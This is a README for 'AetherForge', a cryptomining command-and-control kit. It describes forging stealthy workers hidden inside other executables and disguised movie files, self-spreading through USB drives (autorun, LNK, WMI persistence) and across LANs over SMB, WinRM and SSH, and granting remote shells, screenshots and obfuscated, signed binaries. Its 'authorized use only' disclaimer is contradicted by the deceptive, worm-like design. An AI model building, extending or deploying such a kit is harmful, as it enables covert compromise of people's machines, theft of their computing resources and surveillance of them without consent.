# AetherForge

**Private Monero + Ravencoin fleet command deck for machines you own.**

One control PC. One dashboard. Forge silent workers for **Windows, Linux, and macOS** — fuse inside any file, spread via USB, spread over LAN — and watch your fleet hash from a steampunk-neon command deck.

No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet.

---

```
  ┌─────────────────────────────────────────────────────────────────────┐
  │  CALIBRATE (Settings)   pool · wallet · users · alerts              │
  │           │                                                         │
  │           ▼                                                         │
  │  FORGE (Builder)        XMR worker · RVN GPU worker · Fusion        │
  │           │                                                         │
  │           ├──► Prep fusion      embed worker in your own .exe       │
  │           ├──► Movie fusion     locked media + runner + ZIP         │
  │           ├──► USB Propagation  auto-spreads to every USB drive     │
  │           └──► LAN Spread       SMB / WinRM / SSH lateral install   │
  │                                                                     │
  │  WORKER PC              RandomX CPU · KawPoW GPU · WebSocket home   │
  │                         → installs → mines → USB-spreads → phones   │
  │                                                                     │
  │  COMMAND DECK           live stats · 3D map · Crucible · roster     │
  └─────────────────────────────────────────────────────────────────────┘
```

---

## What This Is

AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, not a generic miner wrapper.

| Layer | What it does |
|-------|----------------|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, field guide |
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags |

You configure defaults once in **Calibrate**. You forge once per target profile in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.

---

## What You Get

### Command Deck (Dashboard)

- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed
- Live fleet hashrate, CPU/RAM gauges, share feed
- **Fleet Health Score** — weighted 0–100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip
- **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded
- **Underperformer list** — machines below 70% of fleet median with one-click "Restart All"
- **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64)
- **LAN Group View** — agents grouped by /24 subnet; aggregated hashrate per segment
- **XMR price** — server-side CoinGecko fetch, 10-minute cache
- **Earnings Estimator** — XMR/day formula + live SupportXMR data; USD/day and time-to-payout
- **3D fleet topology map** — agents orbiting the server node (React Three Fiber)
- **Monero section** — CPU hashrate gauges, share feed, pool status, per-rig breakdown
- **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards
- Pool connection status and AI activity panel (Advanced mode)
- Matrix stream overlay with mystic word drops (Advanced mode)

### Fleet Roster (Agents)

- Every connected worker — hostname, IP, cores, memory, uptime, hashrate, latency badge
- **Compact rows** — click to expand inline details and compact remote action strip
- **Fleet Groups** — select multiple machines, create a named + colour-coded group; groups are selectable in the Crucible for instant batch targeting
- **Remote control panel** — full tactical terminal with live stats ticker, colour-coded log lines, title bar, and clear button
  - Mining ops: pause / resume / restart miner
  - Recon: sysinfo, list processes, network scan, DNS config, listening ports
  - System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address)
  - Screen: **Screenshot** — captures remote desktop and instantly downloads JPEG in your browser
  - Admin: PowerShell terminal, file upload, uninstall
- **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online
- **Auto-sysinfo** — system info is fetched immediately when you select an agent
- **Offline banner** — controls disabled with a clear OFFLINE badge when agent is not connected

### Forge (Miner Builder)

- **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP)
- **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install`
- Preflight cross-check before compile — wallet, server URL, pool, fusion, AI
- Blueprint save/load — re-forge the same profile across machines
- Build manager — download, paths, LAN QR for worker URL
- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing
- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes
- **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile
- Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion
- **Backup pools** (advanced) — fallback Stratum pool list baked into the agent
- **Backup server URLs** (advanced) — fallback C2 addresses baked into the agent
- **USB Propagation** — enables perpetual USB self-spread chain (see below)
- **Share Spread** — auto-copy to mounted network shares + WinRM lateral install
- **LAN Auto-Spread** — SMB admin$ / SSH lateral movement gated behind C2 auth

### Ravencoin GPU Mining

Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtime:

| GPU vendor | Miner | Algorithm |
|-----------|-------|-----------|
| NVIDIA (CUDA) | T-Rex | KawPoW (RVN) |
| AMD (OpenCL) | TeamRedMiner | KawPoW (RVN) |

- Agent downloads and silently launches the appropriate miner binary
- Local HTTP API polling for live hashrate (15s / 1m / 15m averages), GPU temperature, fan speed, power draw
- RVN address and pool baked at forge time; RVN pool presets available in the Forge UI
- Dashboard shows dedicated **Ravencoin** section separate from Monero CPU stats
- CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently

### USB Perpetual Self-Propagation

Enable **USB Propagation** in the Forge. The baked binary:

1. **Spreads within 8 seconds** of any USB drive being plugged in (also checks drives already present at startup)
2. Drops the agent binary into a hidden system-looking folder (`~RECYCLER`, `System Volume Information`, etc.)
3. Writes an `autorun.inf` (legacy trigger), a **folder-icon LNK shortcut** (Win8+), and a visible **SETUP.BAT** fallback
4. Creates a plausible **decoy folder** (Documents / Photos / etc.) so the drive looks natural
5. Installs a **persistent WMI event subscription** that fires on every future USB mount — survives reboots
6. Refreshes the payload automatically when the agent binary is updated (size check)

**On the next PC**, when the USB exe runs via LNK or SETUP.BAT:
- `InstallIfNeeded` detects it's running from removable media
- Silently copies to `%LOCALAPPDATA%`, sets up scheduled task / registry autostart
- Original process exits; installed copy starts and **also watches for USB drives**
- Chain never ends — every new infected PC propagates to every USB it sees

### Crucible (Command Terminal)

- Select one or many agents (or entire Fleet Groups) as targets
- Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
- Real-time command output streamed back to the terminal

### Matrix Digital Rain

- Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain
- **Gold flurry mode** activates in the Crucible when one machine is being manipulated
- Heavy gold rain identical to Forge progress animation

### Wake-on-LAN

- Agent reports its primary MAC address to the server on auth
- MAC stored in the fleet database
- Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC
- Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet)

---

## Quick Start

**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.

1. Double-click **`devrun.bat`** in the project root.
   Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.

2. Browser opens **http://localhost:8989**

3. **Sign in** — first run: check the console window for your generated admin password

4. **Calibrate** → set your Monero wallet + pool + public URL for remote workers

5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer**

6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB)

7. Watch them appear on **Command Deck** and **Fleet Roster**

### First-run login

```
=== First Run ===
Dashboard login:  admin / <random-password>
Save this — it is not shown again.  Change it in Calibrate → Users.
=================
```

Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entries auto-migrated. Change or add users under **Calibrate → Users**.

**Auth surface**

| Surface | Mechanism |
|---------|----------------|
| `/api/v1/*` REST | HTTP Basic Auth |
| `/ws/dashboard` | `?token=<base64-user:pass>` |
| `/ws/agent` | Fleet-secret `auth` JSON frame |
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header |
| Static SPA + `/api/v1/health` | Open (no auth) |

---

## Portable USB (AetherForge on a stick)

Run **`pack-usb.bat`** from the project root. It:

1. Builds the frontend and compiles `AetherForge.exe`
2. Copies webroot, agent source, fusion source, and the Go toolchain into `usb\`
3. Creates `data\` directories with a starter `config.json`
4. Syncs `LAUNCH.bat`

Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`.

> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines.

---

## Output Locations

| Artifact | Where |
|----------|--------|
| Forged agent exe | Project root (e.g. `install-worker.exe`) |
| Movie fusion per title | `fusion-deliverables/<Title>/` + `Title-package.zip` |
| Archive copy | `data\builds\{build-id}\` |
| Uninstall script | Same build folder + download API |
| Server config | `data\config.json` |
| Fleet database | `data\miner.db` |
| Dashboard build (source) | `server\web\dist\` |
| Dashboard build (served) | `server\webroot\` |

---

## Network Deployment

| Scenario | Server URL in Forge |
|----------|---------------------|
| Same LAN | `http://192.168.x.x:8989` |
| Cloudflare / reverse tunnel | `https://your-domain.com` |

Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL.

**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth.

---

## Agent Silence

Every agent operation is **completely silent** — no CMD windows, no PowerShell popups, no system notifications. The only user-visible event is a single UAC prompt on first launch (elevation required for persistence and firewall rules).

| Category | Mechanism |
|----------|-----------|
| Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes |
| Persistence | Scheduled task / registry run key — no user-visible installer |
| Mining | XMRig / T-Rex / TeamRedMiner run fully hidden |
| WMI triggers | PowerShell executed with `-WindowStyle Hidden` |
| Spread installs | `--run` flag relaunches silently with detached start |
| Fusion decoy | Only the decoy file (movie/prep) opens visibly — agent stays hidden |

---

## Project Layout

```
crypto miner/
├── devrun.bat                  ← one-click build + launch (dev)
├── pack-usb.bat                ← build portable AetherForge USB bundle
├── run.bat / start.bat         ← aliases → devrun.bat
├── test.bat                    ← full test suite → scripts/test-suite.ps1
├── LAUNCH.bat                  ← portable/USB launch script
├── scripts/
│   ├── test-suite.ps1          ← Go + web + build + Playwright E2E
│   └── smoke-test.ps1          ← API matrix B-01–B-10
├── bin/
│   └── miner-server.exe
├── data/                       ← config, DB, builds, preps, logs, users.json
├── fusion-deliverables/        ← per-title movie fusion output (gitignored)
├── usb/                        ← portable USB server bundle (output of pack-usb.bat)
├── server/
│   ├── main.go
│   ├── webroot/                ← production UI (copied from web/dist)
│   ├── web/                    ← React command deck (Vite + TypeScript)
│   └── internal/
│       ├── api/                ← HTTP routes, WebSocket, auth, fleet, WOL
│       └── builder/            ← forge + fusion pipeline
├── agent/                      ← worker source (Forge compiles per OS/arch)
│   ├── client/                 ← WebSocket client, command handler, GPU miner, screenshot
│   ├── deploy/                 ← install, persistence, watchdog, passive spread, firewall
│   └── config/                 ← builtin config baked at forge time
├── fusion/                     ← prep + movie runner source
├── tests/README.md             ← test phases, E2E env vars
├── PROBLEMS.md                 ← known issues (severity-ranked)
└── README.md                   ← you are here
```

---

## API Surface

| Method | Path | Purpose |
|--------|------|---------|
| GET | `/api/v1/health` | Health check (no auth) |
| GET/PUT | `/api/v1/config` | Calibrate settings |
| POST | `/api/v1/builder/build` | Forge worker / fusion (multipart) |
| GET | `/api/v1/builds` | List builds |
| GET | `/api/v1/builds/{id}/download` | Download forged exe |
| GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) |
| GET | `/api/v1/agents` | Fleet list |
| POST | `/api/v1/agents/{id}/command` | Remote action (pause, reboot, screenshot, …) |
| POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet |
| POST | `/api/v1/agents/bulk-command` | Send command to multiple agents |
| GET | `/api/v1/alerts` | Active fleet alerts |
| GET | `/api/v1/pools/status` | Stratum pool connection states |
| GET | `/api/v1/earnings/estimate` | XMR/day estimate |
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
| WS | `/ws/agent` | Worker connection |
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed |

Full route list: `server/internal/api/router.go`

---

## Cross-Platform Workers

| OS | CPU miner | GPU miner | Persistence | Install base |
|----|-----------|-----------|-------------|--------------|
| Windows | XMRig (RandomX) | T-Rex / TeamRedMiner (KawPoW) | Registry + scheduled task | `%LOCALAPPDATA%` |
| Linux | XMRig | — | systemd user service | XDG data home |
| macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` |

**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Default builds use a no-op stub.

---

## Movie Fusion (detailed)

| Mode | Best for | What you get |
|------|----------|----------------|
| **Embedded (Option A)** | Clips / smaller files (~500 MB) | One disguised file (`Title.mkv.exe`) with movie + hidden worker |
| **Paired (Option B)** | Full films (up to 2 GiB) | Per-title folder under `fusion-deliverables/<Title>/` |

**Paired layout:**

```
fusion-deliverables/Vacation/
├── README.txt              ← instructs user to run the runner for "enhanced 4K"
├── Vacation-runner.exe     ← decrypts & plays; worker hidden inside runner
├── Vacation.mkv.cmdata     ← encrypted media (hidden)
└── Vacation.mkv.lnk        ← shortcut → prompts for runner
```

---

## Manual Build

```bat
cd server\web
npm install
npm run build

cd ..\..
xcopy /E /I /Y server\web\dist\* server\webroot\

cd server
go build -ldflags="-s -w" -o ..\bin\miner-server.exe .

cd ..
bin\miner-server.exe -port 8989 -data .\data
```

### Run the test suite

```bat
test.bat
```

Or run `scripts\test-suite.ps1` directly. Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default test credentials.

With the server running, run `scripts\smoke-test.ps1` for the REST API matrix (B-01–B-10).

### Dashboard dev server

```bat
cd server\web
npm run dev
```

Vite proxies `/api` and `/ws` to `localhost:8989`.

### Tech stack (dashboard)

| Package | Version |
|---------|---------|
| React | 18.x |
| `@react-three/fiber` | 8.x |
| `@react-three/drei` | 9.x |
| Vite | 5.x |

> `@react-three/fiber` v9 requires React 19. With React 18 the app fails to mount (blank screen). `package.json` pins compatible versions.

---

## Under the Hood

- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host
- **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects
- **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots
- **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match
- **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN
- **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels
- **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill)
- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep
- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions
- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents
- **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS
- **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler
- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts
- **Screenshot buffering** — server buffers base64 JPEG frames per agent; dashboard `screenshot` command downloads instantly

---

## Troubleshooting

| Symptom | Likely cause | Fix |
|---------|----------------|-----|
| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data; `npm install && npm run build`; copy `dist` → `webroot`; restart server |
| Login loop / 401 | Wrong password or missing `users.json` | Check console for first-run password; delete `data/users.json` and restart |
| Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` |
| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources |
| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open port 8989 on control PC |
| GPU miner doesn't start | No CUDA/OpenCL or binary download failed | Check agent log; ensure outbound internet from worker; verify GPU drivers |
| WOL doesn't wake machine | BIOS WOL disabled or different subnet | Enable WOL in BIOS; direct broadcast works on same /24 only |
| USB payload not spreading | `USBSpread` not enabled at forge time | Re-forge with USB Propagation checked |
| Screenshot download is empty | Agent offline or screenshot command not sent | Ensure agent is online; check Fleet Roster terminal for errors |

---

## Known Issues

See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit. Check there before production use on a large fleet.

---

# ⚠ LEGAL & FAIR USE WARNING

**Read this before you deploy anything.**

### Authorized use only

AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU/GPU resources.

By using this software you agree that:

1. **You will only deploy workers on systems you control** or have **written permission** to manage.
2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent.
3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, USB spread, or LAN spread features to deceive users about what software is running on their hardware.
4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining.

### What this is NOT

- **Not** a tool for unauthorized access, lateral movement, or deployment on machines you do not own.
- **Not** malware — but **misuse can make it indistinguishable from malware** under law and AV heuristics.
- **Not** anonymous. Mining connects to pools, leaves logs, and generates attributable network traffic.

### Security responsibility

- `data/users.json` stores **bcrypt hashes only**. First-run generates a random admin password (shown once).
- Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet.
- Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker.
- Code signing, Defender exclusions, and network segmentation are **your** responsibility.

### Disclaimer

THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND CONTRIBUTORS ARE NOT LIABLE FOR ANY DAMAGES, LEGAL ACTION, POOL BANS, DATA LOSS, HARDWARE DAMAGE, OR MISUSE BY YOU OR ANY THIRD PARTY.

**If you cannot accept these terms, do not run AetherForge.**

---

## License

Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.gammaspectra.live/P2Pool/go-randomx`.

---

<p align="center">
  <strong>AetherForge</strong> — LAN MINING COMMAND<br/>
  <sub>Calibrate · Forge · Deploy · Spread · Command</sub>
</p>
